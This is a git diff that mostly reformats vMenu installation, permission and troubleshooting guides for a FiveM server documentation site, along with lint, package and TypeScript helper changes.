KeyboardShortcutTable, + ActionTable, + InfoBanner, + CategoryGrid, +} from "@ui/components/mdx-components"; ## Overview vMenu uses FiveM's built-in **ACE (Access Control Entry)** and **Principal** system for permissions. This powerful system allows granular control over who can access specific features. -By default, vMenu may grant all permissions to everyone. You **MUST** configure permissions properly before making your server public to prevent abuse. + By default, vMenu may grant all permissions to everyone. You **MUST** + configure permissions properly before making your server public to prevent + abuse. ## Permission System Basics ### Key Concepts - + ### How It Works - + ## Permission Nodes ### Complete Permission List - - - - - @@ -479,6 +694,7 @@ status ``` Output: + ``` id: 1, PlayerName, steam: 110000112345678, license: abc123 ``` @@ -544,10 +760,10 @@ Use external script with ACE system: RegisterCommand('grantvip', function(source, args) local target = tonumber(args[1]) local identifier = GetPlayerIdentifier(target, 0) - + -- Add to VIP group ExecuteCommand(string.format('add_principal identifier.%s group.vip', identifier)) - + -- Schedule removal (requires database/scheduler) -- Implementation depends on your framework end, true) @@ -576,7 +792,7 @@ Based on player stats: AddEventHandler('playerConnecting', function() local source = source local playtime = GetPlayerPlaytime(source) -- Your function - + if playtime > 100 then -- 100 hours local identifier = GetPlayerIdentifier(source, 0) ExecuteCommand('add_principal identifier.'..identifier..' group.veteran') @@ -589,6 +805,7 @@ end) ### Essential Security Measures 1. ✅ **Always deny dangerous permissions by default** + ```cfg add_ace builtin.everyone vMenu.Everything deny add_ace builtin.everyone vMenu.NoClip deny @@ -596,20 +813,22 @@ end) ``` 2. ✅ **Use specific permissions instead of wildcards** + ```cfg # Bad - too permissive add_ace group.moderator vMenu.OnlinePlayers.All allow - + # Good - specific permissions add_ace group.moderator vMenu.OnlinePlayers.Kick allow add_ace group.moderator vMenu.OnlinePlayers.TempBan allow ``` 3. ✅ **Use identifier-based permissions, not IP-based** + ```cfg # Bad - IPs change add_principal identifier.ip:127.0.0.1 group.admin - + # Good - stable identifiers add_principal identifier.steam:110000112345678 group.admin ``` @@ -620,30 +839,34 @@ end) - Check for permission conflicts 5. ✅ **Log permission usage** - + Check the [official vMenu documentation](https://docs.vespura.com/vmenu/configuration) for logging options. ### Common Security Mistakes ❌ **Granting Everything to everyone** + ```cfg # Never do this! add_ace builtin.everyone vMenu.Everything allow ``` ❌ **Using weak identifier types** + ```cfg # IP addresses change frequently add_principal identifier.ip:192.168.1.1 group.admin ``` ❌ **Not denying dangerous permissions** + ```cfg # Forgetting to explicitly deny # (some features may be allowed by default) ``` ❌ **Sharing admin accounts** + ```cfg # Each admin should have unique identifier add_principal identifier.license:shared_account group.admin @@ -656,6 +879,7 @@ add_principal identifier.license:shared_account group.admin **Issue**: Player has permission but can't access feature **Solutions**: + 1. Verify permission syntax is exact (case-sensitive) 2. Check for deny overriding allow 3. Restart server after permission changes @@ -667,6 +891,7 @@ add_principal identifier.license:shared_account group.admin **Issue**: Player has access to features they shouldn't **Solutions**: + 1. Check if accidentally added to admin group 2. Review `builtin.everyone` permissions 3. Check for `vMenu.Everything` or wildcard permissions @@ -677,6 +902,7 @@ add_principal identifier.license:shared_account group.admin **Issue**: Permissions reset after restart **Solutions**: + 1. Add permissions to `permissions.cfg` or `server.cfg` 2. Don't use console commands for permanent permissions 3. Verify files are being read on startup @@ -727,5 +953,6 @@ After configuring permissions: - [Train Staff](/docs/vmenu/features) - Document your permission structure - **Permissions Configured!** Your server is now secure with properly configured access control. + **Permissions Configured!** Your server is now secure with properly configured + access control. diff --git a/content/docs/vmenu/setup.mdx b/content/docs/vmenu/setup.mdx index 0430cd5..5dd4ba2 100644 --- a/content/docs/vmenu/setup.mdx +++ b/content/docs/vmenu/setup.mdx @@ -4,13 +4,33 @@ description: Complete guide for installing and setting up vMenu on your FiveM se icon: "Settings" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; ## Overview This guide will walk you through the complete process of installing and configuring vMenu on your FiveM server. vMenu is straightforward to install, but proper configuration is essential for security and optimal performance. - + ## Prerequisites @@ -23,24 +43,47 @@ Before installing vMenu, ensure you have: ### Compatibility -| Component | Requirement | -|-----------|--------------| +| Component | Requirement | +| ------------ | ---------------------------- | | FiveM Server | Latest recommended artifacts | -| OneSync | Optional (but recommended) | -| Framework | None required (standalone) | -| Database | Not required | - - +| OneSync | Optional (but recommended) | +| Framework | None required (standalone) | +| Database | Not required | + + ## Installation Methods @@ -50,12 +93,12 @@ Before installing vMenu, ensure you have: 1. **Download vMenu** Visit the official vMenu GitHub releases page: + ``` https://github.com/TomGrobbe/vMenu/releases/latest ``` 2. **Extract the Resource** - - Download the latest `vMenu.zip` file - Extract to your server's `resources` folder - Ensure the folder is named `vMenu` (not `vMenu-master` or similar) @@ -63,6 +106,7 @@ Before installing vMenu, ensure you have: 3. **Verify File Structure** Your resources folder should look like this: + ``` resources/ └── vMenu/ @@ -85,6 +129,7 @@ git clone https://github.com/TomGrobbe/vMenu.git ``` **Updating with Git:** + ```bash cd vMenu git pull origin master @@ -111,6 +156,7 @@ ensure vMenu ``` **Important placement:** + ```cfg # Load core resources first ensure mapmanager @@ -134,15 +180,44 @@ vMenu uses a `permissions.cfg` file located in `resources/vMenu/config/permissio - + See our [Permissions Guide](/docs/vmenu/permissions) for detailed permission configuration. @@ -184,11 +259,13 @@ If using txAdmin: ### Finding Player Identifiers **In-game method:** + 1. Have player join server 2. Check server console 3. Look for connection message showing identifiers **Console command:** + ``` status ``` @@ -201,15 +278,16 @@ vMenu uses keybinds that can be customized by players in FiveM settings. ### Default Keybinds -| Action | Default Key | Description | -|--------|-------------|-------------| -| Open Menu | M | Opens main vMenu interface | -| NoClip | F2 | Toggle noclip (admin only) | -| Change Appearance | F11 | Quick appearance menu | +| Action | Default Key | Description | +| ----------------- | ----------- | -------------------------- | +| Open Menu | M | Opens main vMenu interface | +| NoClip | F2 | Toggle noclip (admin only) | +| Change Appearance | F11 | Quick appearance menu | ### Custom Keybind Setup Players can change keybinds via: + 1. Press **ESC** → **Settings** 2. Navigate to **Key Bindings** 3. Scroll to **FiveM** section @@ -243,6 +321,7 @@ Start the server and watch for vMenu initialization: ### 4. Check for Errors Monitor server console for errors: + ``` # Look for these messages [ERROR] [vMenu] ... @@ -256,6 +335,7 @@ Monitor server console for errors: **Symptoms**: Pressing M does nothing **Solutions**: + 1. Check server console for errors 2. Verify resource is started: `ensure vMenu` 3. Check keybind settings in FiveM @@ -267,6 +347,7 @@ Monitor server console for errors: **Symptoms**: "You don't have permission to access this" errors **Solutions**: + 1. Verify your identifier is added correctly 2. Check `permissions.cfg` syntax 3. Ensure principal groups are assigned @@ -278,6 +359,7 @@ Monitor server console for errors: **Symptoms**: vMenu fails to start, console shows errors **Solutions**: + 1. Verify file structure is correct 2. Check folder name is exactly `vMenu` 3. Ensure `fxmanifest.lua` exists @@ -289,6 +371,7 @@ Monitor server console for errors: **Symptoms**: Missing features, crashes, bugs **Solutions**: + 1. Download latest release from GitHub 2. Backup current configuration 3. Replace old files with new version @@ -306,12 +389,13 @@ If running multiple servers with vMenu: # Server 1 permissions exec resources/vMenu/config/permissions-server1.cfg -# Server 2 permissions +# Server 2 permissions exec resources/vMenu/config/permissions-server2.cfg ``` - For server-specific convars, check the [official vMenu documentation](https://docs.vespura.com/vmenu/configuration). + For server-specific convars, check the [official vMenu + documentation](https://docs.vespura.com/vmenu/configuration). ### Custom Resource Name @@ -323,7 +407,8 @@ To rename vMenu (not recommended): 3. Update any scripts that reference vMenu - Renaming vMenu may cause compatibility issues with some resources. Only do this if absolutely necessary. + Renaming vMenu may cause compatibility issues with some resources. Only do + this if absolutely necessary. ### Behind a Reverse Proxy @@ -356,6 +441,7 @@ After successful installation: ### Manual Update 1. **Backup Current Installation** + ```bash # Create backup cp -r resources/vMenu resources/vMenu_backup @@ -366,6 +452,7 @@ After successful installation: - Download latest version 3. **Backup Configuration** + ```bash # Backup permissions cp resources/vMenu/config/permissions.cfg ~/vmenu_permissions_backup.cfg @@ -395,12 +482,14 @@ git stash pop # Restore local changes To completely remove vMenu: 1. **Remove from server.cfg** + ```cfg # Comment out or delete # ensure vMenu ``` 2. **Delete Files** + ```bash rm -rf resources/vMenu ``` @@ -425,10 +514,11 @@ If you encounter issues during installation: Now that vMenu is installed: - [Configure Permissions](/docs/vmenu/permissions) - Set up proper access control -- [Customize Settings](/docs/vmenu/configuration) - Adjust features and preferences +- [Customize Settings](/docs/vmenu/configuration) - Adjust features and preferences - [Explore Features](/docs/vmenu/features) - Learn about all available options - [Admin Training](/docs/vmenu/features) - Understand moderation tools - **Installation Complete!** You've successfully installed vMenu. Don't forget to configure permissions before making your server public. + **Installation Complete!** You've successfully installed vMenu. Don't forget + to configure permissions before making your server public. diff --git a/content/docs/vmenu/troubleshooting.mdx b/content/docs/vmenu/troubleshooting.mdx index 1d038e8..98760f6 100644 --- a/content/docs/vmenu/troubleshooting.mdx +++ b/content/docs/vmenu/troubleshooting.mdx @@ -4,30 +4,53 @@ description: Solutions to common vMenu issues, errors, and problems icon: "Bug" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; ## Overview This guide covers common issues with vMenu installation, configuration, and usage, along with their solutions. - + ## Quick Diagnostics ### Check vMenu Status 1. **Server Console**: Look for vMenu startup messages + ``` [ vMenu] Resource starting... [ vMenu] vMenu successfully started! ``` 2. **Server Console Command**: + ``` status ``` 3. **Restart Resource**: + ``` restart vMenu ``` @@ -46,31 +69,33 @@ This guide covers common issues with vMenu installation, configuration, and usag symptoms={[ "Resource fails to load on server startup", "Errors appear in server console", - "vMenu directory not recognized" + "vMenu directory not recognized", ]} causes={[ "Incorrect folder structure (e.g., vMenu-master instead of vMenu)", "Missing critical files like fxmanifest.lua", "Corrupted ZIP file during download", - "Outdated FiveM artifacts" + "Outdated FiveM artifacts", ]} solutions={[ "Verify folder is named exactly 'vMenu' (case-sensitive on Linux)", "Download latest release from GitHub, not source code", "Extract entire ZIP file to resources/ folder", - "Update to latest recommended FiveM artifacts from runtime.fivem.net" + "Update to latest recommended FiveM artifacts from runtime.fivem.net", ]} /> #### 1. Incorrect Folder Structure **Error**: + ``` Could not load resource vMenu Failed to start resource vMenu ``` **Solution**: + ```bash # Correct structure: resources/ @@ -93,11 +118,13 @@ resources/ #### 2. Missing Files **Error**: + ``` Failed to load resource vMenu: Missing fxmanifest.lua ``` **Solution**: + 1. Download latest release from GitHub (not source code) 2. Extract entire ZIP file 3. Don't manually pick files to copy @@ -105,11 +132,13 @@ Failed to load resource vMenu: Missing fxmanifest.lua #### 3. Corrupted Download **Error**: + ``` Error loading script vMenu/client.net.dll ``` **Solution**: + 1. Delete vMenu folder 2. Re-download from official source 3. Verify ZIP file integrity @@ -118,11 +147,13 @@ Error loading script vMenu/client.net.dll #### 4. Outdated Artifacts **Error**: + ``` Could not load resource vMenu: unsupported resource type ``` **Solution**: + 1. Update to latest recommended FiveM artifacts 2. Download from: https://runtime.fivem.net/artifacts/fivem/build_server_windows/master/ 3. Restart server completely @@ -182,6 +213,7 @@ chown -R fivem:fivem resources/vMenu #### 1. Check Keybind **Solution**: + 1. Press **ESC** → **Settings** → **Key Bindings** 2. Scroll to **FiveM** section 3. Find **vMenu** → **Open Menu** @@ -191,11 +223,13 @@ chown -R fivem:fivem resources/vMenu #### 2. Conflicting Resources **Common Conflicts**: + - Other admin menus (EasyAdmin, vBasic, etc.) - Custom chat resources using M key - HUD resources intercepting keypress **Solution**: + ```cfg # In server.cfg, comment out conflicting resources # ensure other_admin_menu @@ -214,6 +248,7 @@ add_ace identifier.steam:YOUR_ID vMenu.Menu allow ``` **Solution**: + ```cfg # Option 1: Adjust permissions in permissions.cfg add_ace builtin.everyone vMenu.Menu allow @@ -226,11 +261,13 @@ add_ace group.admin vMenu.Everything allow #### 4. Client-Side Error **Check client console** (F8 in-game): + ``` Error: vMenu client script failed ``` **Solution**: + 1. Restart FiveM completely 2. Clear FiveM cache: - Close FiveM @@ -241,12 +278,14 @@ Error: vMenu client script failed #### 5. Resource Not Started **Check server console**: + ``` # Should see: Started resource vMenu ``` **If not**: + ``` # In server console: ensure vMenu @@ -264,11 +303,13 @@ restart vMenu #### 1. Verify Your Identifier **In server console**: + ``` status ``` Look for your connection: + ``` id: 1, YourName, steam: 110000112345678 ``` @@ -276,6 +317,7 @@ id: 1, YourName, steam: 110000112345678 #### 2. Check Permission Assignment **In server.cfg or permissions.cfg**: + ```cfg # Verify you're in admin group add_principal identifier.steam:110000112345678 group.admin @@ -287,21 +329,25 @@ add_ace group.admin vMenu.Everything allow #### 3. Common Permission Mistakes **❌ Wrong identifier format**: + ```cfg add_principal steam:110000112345678 group.admin # Missing "identifier." ``` **✅ Correct**: + ```cfg add_principal identifier.steam:110000112345678 group.admin ``` **❌ Case-sensitive issues**: + ```cfg add_ace group.admin vmenu.Everything allow # Wrong: "vmenu" instead of "vMenu" ``` **✅ Correct**: + ```cfg add_ace group.admin vMenu.Everything allow ``` @@ -311,6 +357,7 @@ add_ace group.admin vMenu.Everything allow **Issue**: Specific feature denied despite having general permission **Example**: + ```cfg add_ace group.admin vMenu.OnlinePlayers allow add_ace group.admin vMenu.OnlinePlayers.Kick deny # This denies kick @@ -327,11 +374,13 @@ add_ace group.admin vMenu.OnlinePlayers.Kick deny # This denies kick **Solutions**: 1. **Restart server** (not just resource): + ``` restart server ``` 2. **Verify permission syntax**: + ```cfg # Check for typos add_ace group.admin vMenu.Everything allow # Correct @@ -339,11 +388,12 @@ add_ace group.admin vMenu.OnlinePlayers.Kick deny # This denies kick ``` 3. **Check for overrides**: + ```cfg # Later definitions override earlier ones add_ace builtin.everyone vMenu.Everything deny # This affects everyone add_ace group.admin vMenu.Everything allow # Including admins! - + # Order matters! ``` @@ -356,12 +406,14 @@ add_ace group.admin vMenu.OnlinePlayers.Kick deny # This denies kick **Solution**: **❌ Wrong** (console commands don't persist): + ``` # Typed in console: add_principal identifier.steam:110000112345678 group.admin ``` **✅ Correct** (add to server.cfg): + ```cfg # In server.cfg or permissions.cfg add_principal identifier.steam:110000112345678 group.admin @@ -397,6 +449,7 @@ Refer to the [official vMenu documentation](https://docs.vespura.com/vmenu/confi **Cause**: Invalid or addon vehicle model names **Solution**: + 1. Verify vehicle model exists in game 2. Check addon vehicle installation 3. Use correct spawn name (not display name) @@ -421,6 +474,7 @@ chmod -R 755 resources/vMenu #### 3. Database Connection (If Configured) If using external database: + - Verify database credentials - Check database connection in console - Ensure vMenu has write permissions to database @@ -442,6 +496,7 @@ add_ace group.admin vMenu.Teleport allow **Player teleports but falls through world**: **Solution**: + 1. Ensure teleporting to valid coordinates 2. Check ground level (Z coordinate) 3. Use waypoint teleport for tested locations @@ -497,6 +552,7 @@ add_ace group.admin vMenu.WorldOptions.Time allow **Other resources controlling weather/time**: **Solution**: + ```cfg # Disable conflicting resources: # ensure weather_sync @@ -514,6 +570,7 @@ add_ace group.admin vMenu.WorldOptions.Time allow **vMenu doesn't include voice chat** **Solution**: Install voice resource: + - TokoVOIP - Mumble-VOIP - pma-voice @@ -538,6 +595,7 @@ Ensure voice resource is compatible with vMenu's integration API #### 1. Server Performance **Check server resources**: + - CPU usage - RAM usage - Network latency @@ -545,6 +603,7 @@ Ensure voice resource is compatible with vMenu's integration API #### 2. Client Performance **Reduce graphical settings**: + 1. Lower FiveM graphics settings 2. Close background applications 3. Update graphics drivers @@ -574,6 +633,7 @@ Disable heavy features through permissions or convars. See [official documentati #### 3. Optimize Saved Data **Regularly clean old saved data**: + - Remove inactive players' saved vehicles - Clear orphaned data @@ -582,11 +642,13 @@ Disable heavy features through permissions or convars. See [official documentati ### "Resource Manifest Version Mismatch" **Error**: + ``` Resource vMenu: manifest version mismatch ``` **Solution**: + 1. Update to latest FiveM artifacts 2. Update vMenu to latest version 3. Both must be compatible versions @@ -594,11 +656,13 @@ Resource vMenu: manifest version mismatch ### "Failed to Verify Protected Resource" **Error**: + ``` Failed to verify protected resource vMenu ``` **Solution**: + 1. Don't modify vMenu DLL files 2. Re-download clean copy if modified 3. Check file integrity @@ -624,11 +688,13 @@ Failed to verify protected resource vMenu #### 3. Check Logs **Server console** shows: + ``` Error: Access violation in vMenu ``` **Solution**: Report to vMenu GitHub with: + - Full error message - Server artifacts version - vMenu version @@ -645,11 +711,13 @@ Error: Access violation in vMenu #### 1. Check Database Connection **In server console**, look for: + ``` [vMenu] Database connected successfully ``` If not present: + - Check database credentials - Verify database is running - Test connection manually @@ -657,6 +725,7 @@ If not present: #### 2. Check Table Structure **Ensure tables exist**: + ```sql SHOW TABLES LIKE 'vmenu%'; ``` @@ -666,6 +735,7 @@ SHOW TABLES LIKE 'vmenu%'; #### 3. Check Write Permissions **Database user needs**: + - SELECT - INSERT - UPDATE @@ -676,6 +746,7 @@ SHOW TABLES LIKE 'vmenu%'; **Error**: Upgrading vMenu version, database errors **Solution**: + 1. Backup database 2. Check vMenu changelog for migration notes 3. Run migration scripts manually if provided @@ -734,10 +805,11 @@ end) **Solution**: **Choose one primary admin menu**: + ```cfg # Pick ONE: # ensure vMenu -# ensure EasyAdmin +# ensure EasyAdmin # ensure vBasic # Don't run multiple admin menus @@ -752,6 +824,7 @@ end) #### 1. Whitelist vMenu **In anticheat config**, whitelist: + - NoClip functionality - God mode - Teleportation @@ -764,6 +837,7 @@ end) #### 3. Permission-Based Exclusions **Exclude admins from certain checks**: + ```lua -- Anticheat pseudocode if not IsAdmin(player) then @@ -778,6 +852,7 @@ end Gather this information: 1. **FiveM Artifacts Version**: + ``` version ``` @@ -795,16 +870,17 @@ Gather this information: ### Where to Get Help -| Platform | Use For | Link | -|----------|---------|------| -| **GitHub Issues** | Bug reports, feature requests | [GitHub](https://github.com/TomGrobbe/vMenu/issues) | -| **Discord** | Quick questions, community support | [Discord](https://vespura.com/vmenu/discord) | -| **CFX Forums** | Server configuration help | [Forums](https://forum.cfx.re/t/vmenu) | -| **Documentation** | Official guides | [Docs](https://docs.vespura.com/vmenu/) | +| Platform | Use For | Link | +| ----------------- | ---------------------------------- | --------------------------------------------------- | +| **GitHub Issues** | Bug reports, feature requests | [GitHub](https://github.com/TomGrobbe/vMenu/issues) | +| **Discord** | Quick questions, community support | [Discord](https://vespura.com/vmenu/discord) | +| **CFX Forums** | Server configuration help | [Forums](https://forum.cfx.re/t/vmenu) | +| **Documentation** | Official guides | [Docs](https://docs.vespura.com/vmenu/) | ### Creating a Bug Report **Include**: + 1. Clear description of problem 2. Expected vs actual behavior 3. Steps to reproduce @@ -814,6 +890,7 @@ Gather this information: 7. Other installed resources (if relevant) **Example**: + ```markdown **Problem**: Vehicle spawner doesn't spawn helicopters @@ -821,12 +898,14 @@ Gather this information: **Actual**: Nothing happens, no error **Steps**: + 1. Open vMenu (M key) 2. Navigate to Vehicle Spawner → Helicopters 3. Select "Buzzard" 4. Click spawn **Environment**: + - FiveM Artifacts: Latest recommended - vMenu Version: 4.0.0 - Operating System: Windows Server 2019 @@ -854,6 +933,7 @@ add_ace group.admin vMenu.Everything allow ### Testing Before Production **Always test on development server**: + 1. Install/update vMenu on dev server 2. Test all critical features 3. Verify permissions work correctly @@ -894,7 +974,8 @@ When something isn't working, try these in order: - [ ] Ask for help with full details - **Still Stuck?** Join the vMenu Discord community for real-time help from developers and experienced users. + **Still Stuck?** Join the vMenu Discord community for real-time help from + developers and experienced users. ## Additional Resources diff --git a/eslint.config.js b/eslint.config.js new file mode 100644 index 0000000..ebf3e95 --- /dev/null +++ b/eslint.config.js @@ -0,0 +1,13 @@ +import nextPlugin from "@next/eslint-plugin-next"; + +export default [ + { + plugins: { + "@next/next": nextPlugin, + }, + rules: { + ...nextPlugin.configs["core-web-vitals"].rules, + "@next/next/no-html-link-for-pages": "off", + }, + }, +]; diff --git a/knip.json b/knip.json index dec9c3c..ed30688 100644 --- a/knip.json +++ b/knip.json @@ -7,9 +7,7 @@ "tailwind.config.ts", "postcss.config.js" ], - "project": [ - "**/*.{ts,tsx,js,mjs}" - ], + "project": ["**/*.{ts,tsx,js,mjs}"], "paths": { "@/*": ["./"], "@ui/*": ["./packages/ui/src/*"], @@ -17,16 +15,16 @@ "@core/*": ["./packages/core/src/*"] }, "ignoreDependencies": [ + "@knip/*", "@types/*", "@radix-ui/react-select", "@radix-ui/react-radio-group", "cheerio", "gray-matter", - "shiki" - ], - "ignoreBinaries": [ - "ajv" + "shiki", + "fumadocs-mdx" ], + "ignoreBinaries": ["ajv"], "rules": { "classMembers": "warn", "enumMembers": "warn", @@ -52,10 +50,7 @@ ], "workspaces": { ".": { - "entry": [ - "app/**/*.{ts,tsx}", - "lib/**/*.{ts,tsx}" - ] + "entry": ["app/**/*.{ts,tsx}", "lib/**/*.{ts,tsx}"] }, "packages/ui": { "entry": ["src/index.ts", "src/**/*.{ts,tsx}"], diff --git a/lib/docs/source.ts b/lib/docs/source.ts index c9274ed..653b2f8 100644 --- a/lib/docs/source.ts +++ b/lib/docs/source.ts @@ -25,4 +25,4 @@ export const source = loader({ export const blog = loader({ baseUrl: "/blog", source: createMDXSource(blogPosts, meta), -}); \ No newline at end of file +}); diff --git a/lib/hooks.json b/lib/hooks.json index d85f387..2c62f86 100644 --- a/lib/hooks.json +++ b/lib/hooks.json @@ -191,4 +191,4 @@ "description": "Tracks and returns the current window size.", "content": "import { useSyncExternalStore } from \"react\";\n\ntype WindowSize = {\n width: number;\n height: number;\n};\n\n\nconst subscribeToResizeEvent = (cb: () => void) => {\n window.addEventListener(\"resize\", cb);\n return () => {\n window.removeEventListener(\"resize\", cb);\n };\n};\n\nconst getWindowSizeClient = () => ({\n width: window.innerWidth,\n height: window.innerHeight,\n});\n\n// on the server window is undefined, so assume FullHD screen\nconst getWindowSizeServer = () => ({\n width: 1920,\n height: 1080,\n});\n\n/**\n * Tracks and returns the current window size.\n * @returns {WindowSize} An object containing the current width and height of the window.\n */\nexport function useWindowSize(): WindowSize {\n return useSyncExternalStore(\n subscribeToResizeEvent,\n getWindowSizeClient,\n getWindowSizeServer,\n );\n}\n" } -] \ No newline at end of file +] diff --git a/lib/providers.ts b/lib/providers.ts index 32d965b..3007912 100644 --- a/lib/providers.ts +++ b/lib/providers.ts @@ -33,7 +33,7 @@ export interface HostingProvider { */ export async function getHostingProviders(): Promise { const providersDir = path.join(process.cwd(), "packages", "providers"); - + // Check if directory exists if (!fs.existsSync(providersDir)) { console.warn("Providers directory not found:", providersDir); @@ -47,8 +47,12 @@ export async function getHostingProviders(): Promise { for (const dir of providerDirs) { try { - const providerJsonPath = path.join(providersDir, dir.name, "provider.json"); - + const providerJsonPath = path.join( + providersDir, + dir.name, + "provider.json", + ); + // Skip if provider.json doesn't exist in this directory if (!fs.existsSync(providerJsonPath)) { continue; @@ -56,10 +60,12 @@ export async function getHostingProviders(): Promise { const fileContent = fs.readFileSync(providerJsonPath, "utf-8"); const provider: HostingProvider = JSON.parse(fileContent); - + // Validate required fields if (!provider.id || !provider.name || !provider.description) { - console.warn(`Invalid provider in ${dir.name}: missing required fields`); + console.warn( + `Invalid provider in ${dir.name}: missing required fields`, + ); continue; } @@ -73,11 +79,11 @@ export async function getHostingProviders(): Promise { providers.sort((a, b) => { const priorityA = a.priority ?? 0; const priorityB = b.priority ?? 0; - + if (priorityA !== priorityB) { return priorityB - priorityA; } - + return a.name.localeCompare(b.name); }); diff --git a/lib/trusted-hosts.ts b/lib/trusted-hosts.ts index ac13588..100fecb 100644 --- a/lib/trusted-hosts.ts +++ b/lib/trusted-hosts.ts @@ -1,5 +1,5 @@ -import { promises as fs } from 'fs'; -import { join } from 'path'; +import { promises as fs } from "fs"; +import { join } from "path"; export interface TrustedHost { id: string; @@ -23,10 +23,15 @@ export interface TrustedHostsData { */ export async function getTrustedHosts(): Promise { try { - const filePath = join(process.cwd(), 'packages', 'providers', 'trusted-hosts.json'); - const data = await fs.readFile(filePath, 'utf-8'); + const filePath = join( + process.cwd(), + "packages", + "providers", + "trusted-hosts.json", + ); + const data = await fs.readFile(filePath, "utf-8"); const parsed: TrustedHostsData = JSON.parse(data); - + // Sort by name, verified first return parsed.hosts.sort((a, b) => { if (a.verified !== b.verified) { @@ -35,7 +40,7 @@ export async function getTrustedHosts(): Promise { return a.name.localeCompare(b.name); }); } catch (error) { - console.error('Failed to load trusted hosts:', error); + console.error("Failed to load trusted hosts:", error); return []; } } @@ -43,18 +48,26 @@ export async function getTrustedHosts(): Promise { /** * Get metadata about the trusted hosts list */ -export async function getTrustedHostsMetadata(): Promise | null> { +export async function getTrustedHostsMetadata(): Promise | null> { try { - const filePath = join(process.cwd(), 'packages', 'providers', 'trusted-hosts.json'); - const data = await fs.readFile(filePath, 'utf-8'); + const filePath = join( + process.cwd(), + "packages", + "providers", + "trusted-hosts.json", + ); + const data = await fs.readFile(filePath, "utf-8"); const parsed: TrustedHostsData = JSON.parse(data); - + return { lastUpdated: parsed.lastUpdated, source: parsed.source, }; } catch (error) { - console.error('Failed to load trusted hosts metadata:', error); + console.error("Failed to load trusted hosts metadata:", error); return null; } } @@ -62,9 +75,11 @@ export async function getTrustedHostsMetadata(): Promise { +export async function getTrustedHostById( + id: string, +): Promise { const hosts = await getTrustedHosts(); - return hosts.find(host => host.id === id) || null; + return hosts.find((host) => host.id === id) || null; } /** @@ -74,7 +89,7 @@ export async function isTrustedProvider(url: string): Promise { const hosts = await getTrustedHosts(); try { const inputUrl = new URL(url).hostname.toLowerCase(); - return hosts.some(host => { + return hosts.some((host) => { const hostUrl = new URL(host.url).hostname.toLowerCase(); return inputUrl === hostUrl || inputUrl.includes(hostUrl); }); diff --git a/middleware.ts b/middleware.ts index 8799157..a75f34c 100644 --- a/middleware.ts +++ b/middleware.ts @@ -1,24 +1,21 @@ -import { NextResponse } from 'next/server' -import type { NextRequest } from 'next/server' +import { NextResponse } from "next/server"; +import type { NextRequest } from "next/server"; // Middleware function to handle redirects export function middleware(request: NextRequest) { // Get the pathname from the request - const { pathname } = request.nextUrl + const { pathname } = request.nextUrl; // If the path is exactly /docs, redirect to /docs/overview - if (pathname === '/docs') { - return NextResponse.redirect(new URL('/docs/overview', request.url)) + if (pathname === "/docs") { + return NextResponse.redirect(new URL("/docs/overview", request.url)); } // Continue with the request for all other paths - return NextResponse.next() + return NextResponse.next(); } // Configure which paths the middleware will run on export const config = { - matcher: [ - '/docs', - '/docs/', - ] -} + matcher: ["/docs", "/docs/"], +}; diff --git a/next.config.mjs b/next.config.mjs index 043f36e..1b0df60 100644 --- a/next.config.mjs +++ b/next.config.mjs @@ -11,24 +11,24 @@ const config = { remotePatterns: [ { protocol: "https", - hostname: "embrly.ca" + hostname: "embrly.ca", }, { protocol: "https", - hostname: "emberly.site" + hostname: "emberly.site", }, { protocol: "https", - hostname: "avatars.githubusercontent.com" + hostname: "avatars.githubusercontent.com", }, { protocol: "https", - hostname: "github.com" + hostname: "github.com", }, { protocol: "https", - hostname: "zap-hosting.com" - } + hostname: "zap-hosting.com", + }, ], }, }; diff --git a/package.json b/package.json index 14dd22e..ea35e69 100644 --- a/package.json +++ b/package.json @@ -1,13 +1,13 @@ { + "type": "module", "name": "@fixfx/website", "description": "A comprehensive documentation platform for FiveM development, providing detailed guides, tutorials, and best practices for the FiveM community.", "author": "CodeMeAPixel ", - "scripts": { "build": "next build", "dev": "next dev", "start": "next start", - "lint": "next lint", + "lint": "eslint . --max-warnings 0", "format": "prettier --write .", "format:check": "prettier --check .", "version": "node .github/scripts/get-version.js", @@ -72,6 +72,7 @@ "devDependencies": { "@commitlint/cli": "^19.8.1", "@commitlint/config-conventional": "19.8.1", + "@next/eslint-plugin-next": "^16.1.5", "@types/mdx": "^2.0.13", "@types/node": "22.5.4", "@types/react": "^18.3.5", @@ -80,25 +81,15 @@ "autoprefixer": "^10.4.20", "clsx": "^2.1.1", "commitlint": "19.8.1", + "eslint": "^9.39.2", + "eslint-config-next": "^16.1.5", "husky": "^8.0.3", "knip": "^5.78.0", "postcss": "^8.4.45", "prettier": "^3.7.4", + "tailwind-merge": "^2.6.0", "tailwindcss": "^3.4.1", "tailwindcss-animate": "^1.0.7", - "tailwind-merge": "^2.6.0", "typescript": "^5.5.4" - }, - "lint-staged": { - "*.{js,jsx,ts,tsx}": [ - "next lint .", - "prettier -w ." - ], - "*.{css,scss}": [ - "prettier -w ." - ], - "*.{json,md}": [ - "prettier -w ." - ] } -} \ No newline at end of file +} diff --git a/packages/core/src/useFetch/index.ts b/packages/core/src/useFetch/index.ts index 60208b3..eb9c9d8 100644 --- a/packages/core/src/useFetch/index.ts +++ b/packages/core/src/useFetch/index.ts @@ -82,7 +82,7 @@ export function useFetch( // Re-fetch when URL changes or when deps change useEffect(() => { fetchData(); - + return () => { if (abortControllerRef.current) { abortControllerRef.current.abort(); diff --git a/packages/providers/GUIDELINES.md b/packages/providers/GUIDELINES.md index a66b94b..931bfc0 100644 --- a/packages/providers/GUIDELINES.md +++ b/packages/providers/GUIDELINES.md @@ -9,30 +9,35 @@ FixFX partners only with hosting providers that meet the highest standards of se ## Core Requirements 